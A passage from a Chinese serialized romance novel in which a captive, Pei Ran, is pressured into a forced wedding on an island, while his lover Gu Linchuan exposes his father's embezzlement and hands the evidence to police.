饶是这样,他终究没忍住,抬起另一只没有打点滴的手,摸了摸他的侧脸说:“不是这样的,我们不能选择自己的出生,但是我们可以选择自己的未来,他们对你不好,不是你的错,你是一个很好很好的人。所以,不要再一错再错下去了。”
顾辰一愣,随即低低地笑起来,再转变为大笑,在空荡的房间里显得有些骇人。
他抓住裴然冰冷的手指,笑意却不达眼底:“你总是这么好,我绑架你,伤害你,你居然在安慰我,真是……”
裴然没理会他嘲弄的笑,反而认真地说:“我没开玩笑,你现在收手还来得及……”
“来不及了。”顾辰厉声打断他,“我跟顾临川最终只能有一个人赢,而那个人,只能是我。”
或许正如裴然所说,现在一切都还来得及,可是他真的能放手吗?
裴然对自己的意义早已不是报复的工具了,不知道从什么时候开始,他的眼神在他身上长时间停留,不停地追逐他的脚步,关心他在乎他,他的一举一动也牵动着自己的情绪。
像裴然这样美好的人,是他生命中少见的温暖。
顾临川已经什么都有了,而他却什么都没有,他只想要一个裴然而已。
不顾一切,哪怕偷,哪怕抢,他也要得到。
这场感情里面有多少是真心,又有多少是不甘,早就不重要了。
裴然不说话了,挣扎着想从他怀里出来,却被越抱越紧,整个人窝在他怀里,呼吸绵长,因为感冒的原因鼻音有点重。
渐渐的睡着了。
58.第 58 章
南城多夜雨,清晨朦胧时分便会渐渐停歇,今日却到了日出时分都没有停下的迹象。
管家从宅内快步走出,怀里抱着一件厚实的大衣和雨伞,看清院子里的车辆后,便迎上去。
“少爷,您来了。”
车门打开,一双长腿率先迈出,随后微微颔首,视作回应:“元叔。”
“先生在书房等您。”元叔打着伞跟在他身侧,将手中的大衣递上前,“少爷,下雨气温低,多穿些吧。”
“多谢。”顾临川接过,但只是搭在臂弯间,没有穿上。
元叔还打算说什么,但收伞的间隙,顾临川已经走到了拐角处,见状,他也只好轻叹一声。
顾振东在书房悠闲地沏茶,听到传来敲门声时正好泡好一杯大红袍,茶汤橙红透亮,带着木质与花果香的沉稳。
“进来。”
顾临川推门而入,嗅到了绵柔的茶香,道了句:“顾总好雅致。”
“你现在是连父亲也不愿意叫了?”顾振东语气淡淡,倒也并没有什么怪罪的意思,“坐下吧。”
顾振东把热茶推到他面前,自己轻抿了一口,自顾自地介绍:“这还是宋家当初送来的,倒是好茶。对了,你大病初愈,身子可好些了?”
“不劳您挂心。”顾临川端起茶杯在手中把玩,却始终没有喝下,“顾辰的婚礼快到了,您会去吗?”
“当然,毕竟这是他人生中最珍视的时刻。”顾振东道。
顾临川低声笑起来,点头无不认可:“说的也是,不过我想,您应该去不了了。”
顾振东身形一僵,抬起头对上他的眼睛,“什么意思?”
“字面意思。”
话音落下,顾临川将一叠厚厚的证据推到桌面中央,银行流水、虚假合同、挪用记录以及影子公司的实际控股证明。
每一页,都足以将顾振东送进监狱。
窗外淅淅沥沥的小雨逐渐变大,伴随着电闪雷鸣,叫人感到恐惧。
顾振东翻了几页,脸色铁青,闪电闪过他苍白的面孔,再抬头时已然镇定下来,反问:“为了个男人,你要和我闹到这样的地步?”
“我也不想,可惜你和你的宝贝儿子,动了不该动的人。”顾临川淡淡抬眼,语气没有半分温度,“当初你将裴然送走的那一刻起,你就应该料到会有今天,不是吗?”
“是你逼我的!”顾振东猛地一拍桌子,气得控制不住的发抖,厉声斥责,“你从一开始,就没有想接手顾氏,你是想毁了它!”
自从当年他将自己半数以上股份传给顾临川后,他便彻底放权退居二线,他虽有不甘,却也无可奈何,这些东西终归是要给他的,早点晚点也没太大的区别。
可是这些年他渐渐发现,集团的账面在一点一点的亏空,利润大幅下降,核心人才也一个接一个的离职,无一例外,他们都流向了另外一家陌生的公司里。
而这一切的罪魁祸首正是他的儿子,从顾临川接手集团的那一天起,他就在不动声色间布局——把顾氏最核心的、最重要的东西,一点点抽离。
他和宋妍宜里应外合,不仅将外面的公司经营得风生水起,更将两家公司逐步瓦解后掌握在自己的手里。
公司是他毕生的心血,他绝对不会允许任何人毁掉它!
在极度的疯狂与愤怒之下,他铤而走险,利用自己残余的权力和势力,暗中挪动集团的流动资金,做虚假账目来蒙蔽众人,试图保护自己的财富。
而这一切,都在顾临川的掌握之中。
“毁了它?”顾临川低声重复,笑意冷淡,“我就是要毁了它,又如何?你不是想要一个称心如意的继承人吗?一个像你一样冷血自私,薄情寡义的人。”
顾振东万万没想到自己当初一个小小的举动,便会在多年后惹来这么严重的后果,他紧咬牙关,“就因为当年我把裴然送走,你便一直记恨我,到如今?”
“像你这样的人,永远不会懂失去挚爱是什么滋味,我不是没有求过你,我只求你让我能够联系到他,可你呢,你永远高高在上,自以为是。”顾临川猛地站起来,椅子在地面摩擦发出刺耳的声响,从喉间发出低吼,“你拿什么来赔我和他分别的七年?”
“你真是个疯子!”此刻,面对赤裸裸的证据,他只觉一阵天旋地转,他指着顾临川,眼底通红,近乎疯狂,“你连你父亲都要逼迫,你会遭报应的!”
“路都是自己选的,没人逼你。”顾临川看着眼前这位一生强势却最终彻底崩溃的男人,唇角勾起一抹嘲讽的笑,“剩下的话,留着在监狱里说吧。”
他亮出手机界面,屏幕上赫然氏已经拨通了的通话界面,对面是经侦支队的专线。
“所有的证据,我已经提交了。十分钟后他们就会在楼下等你,收拾好东西,安心在里面度过余生吧。”
“至于接下来的婚礼,长兄如父,我会代替您出席。”
曾经不可一世的男人在看清屏幕上的字时,眼前一黑,彻底跌坐在地上,茶水被打翻洒在身上,他却浑然不觉,只是恶狠狠地盯着眼前人,嘴里不停地咒骂着。
顾临川理了理并不存在灰尘的衣袖,转身头也不回地离开了。
*
距离订婚的时间越来越近,裴然能明显感觉到整个海岛的氛围也变得越来越凝重。
身边跟着的保镖越来越多,白天也很难见到顾辰的身影,偶尔撞见也是步履匆匆。
裴然知道婚礼当天必定不会安宁,但他目前能做的事情也只有等待。
上次谈话过后,许是他身体实在太差,他获得了自由行动的权利,每天可以在海岛上规定的范围活动两个小时。
他本想借机找Henry和顾临川联络,但Henry一连几日都看不到人影,他也失去了和顾临川联系的机会。
这一天,他在沙滩上漫无目的地散步,没过多久就被叫回去试西装。
裴然一阵烦躁,但又没办法发作。
顾辰为他准备了两套婚服,一套是男士的西装,另外一套则是女士的婚纱。
裴然抗拒地躲开:“我不要穿这个。”
“先生,我们只是奉命行事,请不要让我们为难。”保镖垂着头。
裴然将准备试的衣服全部扔到地上,冷声道:“我不为难你,你让顾辰自己来。”
“抱歉裴先生,我们老板今天很忙,如果可以的话,我为您打通电话过去吧。”保镖微微一笑,拿出了专属的通讯设备。
对面很快接通:“什么事?”
裴然扑过去想夺过通讯器,但奈何保镖反应极快,往后撤了一步,“先生,只能我来拿。”
裴然瞪了他一眼,对着通讯器质问:“你准备婚纱什么意思?”
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“然哥看见了吗?你喜欢哪一套?”顾辰愉快地笑,“我已经能想象到然哥穿上它的画面了,一定很美。”
“我不穿!”裴然耐住性子同他好好讲话,“我不是女人,我不会穿裙子的。”
“抱歉然哥,是我没有考虑到你的想法。”顾辰抱歉地说,“选一套你喜欢的西装就好,剩下的,我让他们拿下去处理了。”
说完,两人结束了通话。
裴然松了一口气,随意从地上捡起一套深灰色西装,举起来:“就这件吧。”
下一秒,保镖肩上的对讲机传来顾辰声音。
“给他把那套鱼尾裙试一下。”
保镖顿了一下,看他:“……裴先生。”
裴然瞪大了双眼,看了看对讲机,又看了看保镖:“……你们这都不避人的吗?”
话音刚落,身后就又出现两位保镖,手里拿着那套鱼尾裙,看架势应该是要用强的。
裴然:“……”
裴然:“别碰我,我自己来。”
不得不说,顾辰在婚纱的选择上眼光是极佳的,纵使裴然是男人,也没有一丝违和感。
象牙白鱼尾婚纱贴身勾勒曲线,腰臀收紧,裙摆如鱼尾轻展,缀满细碎珍珠,温柔又惊艳。
裴然内心羞愤不已,红着一张脸任由服装师替他打理。
一旁的服装师实在没忍住感叹一句:“天呐,这衣服简直和您太衬了。”
裴然抿唇,看向镜子中美得雌雄莫辨的自己,也不由得深吸一口气。
之后又尝试了好几套礼服,被人折腾来折腾去,累得筋疲力尽,瘫倒在沙发上。
顾辰是在夜里回来的,他一身海水气息地进了裴然的房间,像一只从海底爬出来的水怪。
裴然半梦半醒间发现床头站了一个人,吓了一跳:“谁?”
“是我,然哥,别怕。”顾辰打开了床头的小夜灯,“这么晚了,还没睡吗?”
“本来睡着了,是你把我吵醒了。”裴然实话实说,坐起来,颇为警惕地盯着他,“你又要干什么?”
“明天就是我们的婚礼了,我睡不着。”顾辰俯下身,很想靠近他,但又生生抑制住。
“你明知道我不喜欢你,把我困在你身边,真的有意义吗?”裴然不止一次想问这个问题,只困住一个人的身体,却不在乎他的心在何处,真的是爱吗?还是某种变态的占有。
转瞬他又想起来,顾辰曾经说过,对自己的感情不过是想报复顾临川罢了,自己这样问,倒显得可笑。
于是趁着顾辰没有回答,便摆摆手,“算了,当我没问吧。”
顾辰看清他眼底的痛苦,连带着自己也跟着难受,他说:“人活在世界上,不是每一件事情都有意义的,我只是做了我想做的事情,我没错。”
“伤害了那么多人,真的没错吗?”裴然轻声问。
“达到目的之前总是要有牺牲的。”
“我说不过你。”裴然重新躺会被窝,“你走吧,我需要休息了。”
“晚安,然哥。”顾辰靠近他,凑到他额头想亲吻,却被裴然偏头躲开,温情的吻落在耳垂上,他也并不恼怒,反而勾唇笑了笑,“我很期待见到明天的你,明天过后,我们就自由了。”
这番话让裴然心惊,他翻过身背对他,听到身后传来关门声,才重新闭上眼睛,却毫无睡意。